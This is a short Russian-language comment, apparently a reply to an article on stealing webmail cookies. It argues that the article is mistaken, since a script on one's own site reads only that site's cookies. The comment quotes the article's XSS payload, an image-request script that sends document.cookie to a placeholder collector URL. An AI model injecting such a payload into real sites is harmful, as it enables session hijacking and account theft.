Я считаю, что даная статья является заблуждением её автора.
Каждый сайт оставляет на "машинах" пользователей свои кукисы, тоесть: если мы на сайте вставляем строку alert(document.cookie) мы увидим кукисы те, которые мы сами туда записали, а отнюдь не кукисы с сайта почтовой системы. Данная статья будет актуальна и функциональна в случае, если эта строка, укзананная в статье: "<script>img=new Image();img.src='http://adres_scripta.php?'+document.cookie;</script>" записана в страницу почтовой системы. Если Вы вставили эту строку в свой сайт и надеетесь таким путём прочесть кукис, который сохранила одна из почтовых систем, то у Вас конечно же ничего не выйдет. Таким образом вы всего лишь прочтёте кукисы, которые сами впихнули юзверю. Надеюсь моя мысль понятна.